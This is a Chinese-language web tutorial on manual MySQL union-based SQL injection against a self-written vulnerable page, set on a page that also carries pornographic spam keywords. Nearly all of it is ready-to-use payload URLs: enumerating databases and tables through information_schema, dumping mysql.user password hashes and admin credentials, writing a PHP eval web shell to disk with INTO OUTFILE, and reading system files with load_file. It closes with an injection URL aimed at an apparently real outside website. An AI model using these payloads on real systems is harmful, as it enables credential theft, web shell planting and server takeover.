欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

手動mysql 高級注入實例分析

  發(fā)布時間:2010-08-04 13:38:37   作者:佚名   我要評論
為了 方便 自己隨手寫了個 sql.php注入點 。經(jīng)典的 id沒有過濾 造成 sql語句帶入?yún)?shù) 形成注入, 對了 大家導(dǎo)入test.sql 這個數(shù)據(jù)庫文件吧
利用Information_schema系統(tǒng)庫來注入,配合使用group_concat()函數(shù),group_concat()功能強大,而且能夠繞過limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段為 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 統(tǒng)計數(shù)據(jù)庫中又多少個用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 測試過程中只有 root權(quán)限或者 全局權(quán)限才能爆出所有數(shù)據(jù)庫 普通用戶不能爆出所有用戶
這樣就把mysql服務(wù)器所有數(shù)據(jù)庫名字顯示出來了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
這樣就能把 test 數(shù)據(jù)庫中的 所有表顯示出來了。 其中 0x74657374 為 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
這樣就把admin表中所有的字段名 顯示出來了。

這樣注入手法很靈活的。突破了 limit 限制了。
來看下 穿山甲的注入語句



以下部分只有root 權(quán)限或者 全局權(quán)限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看數(shù)據(jù)庫中有那些用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看對應(yīng)用戶的 密碼


通過不斷修改limit 2,1達(dá)到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通過 limit 一條條記錄取出來

或者直接用group_concat()函數(shù) 一次顯示出來
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的應(yīng)用 注意路徑是 這樣的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc碼 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的應(yīng)用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex編碼
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相關(guān)文件打包下載[用于測試的數(shù)據(jù)庫sql文件與php代碼]

相關(guān)文章

  • SQL注入黑客防線網(wǎng)站實例分析

    這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下
    2017-05-19
  • ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)

    這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)
    2017-05-19
  • mysql 注入報錯利用方法總結(jié)

    這篇文章主要介紹了mysql 注入報錯利用方法總結(jié)的相關(guān)資料,需要的朋友可以參考下
    2016-10-08
  • SQL注入攻擊(攻擊與防范)

    SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻都不會對SQL注入發(fā)出警報,如果管理員沒查看IIS日志的習(xí)慣,可能被入
    2016-05-21
  • SQL注入測試實例分析

    這篇文章主要為大家介紹了SQL注入測試實例分析,對于數(shù)據(jù)庫安全非常重要,需要的朋友可以參考下
    2014-08-06
  • Sqlmap注入技巧集錦

    sqlmap 是一個自動SQL 射入工具。本文收集了一些利用Sqlmap做注入測試的TIPS,其中也包含一點繞WAF的技巧,便于大家集中查閱,歡迎接樓補充、分享。
    2014-07-29
  • SQL注入攻防入門詳解 [圖文并茂] 附示例下載

    畢業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入
    2012-11-06
  • Java防止SQL注入的幾個途徑

    java防SQL注入,最簡單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因為在原有SQL語句中加入了新的邏輯
    2012-08-10
  • 防止SQL注入攻擊的一些方法小結(jié)

    SQL注入攻擊的危害性很大。在講解其防止辦法之前,數(shù)據(jù)庫管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對性的防治措施
    2012-07-10
  • web 頁面 一些sql注入語句小結(jié)

    web 頁面 一些sql注入語句小結(jié),對于開發(fā)人員來說一定要注意的事項。
    2012-03-12

最新評論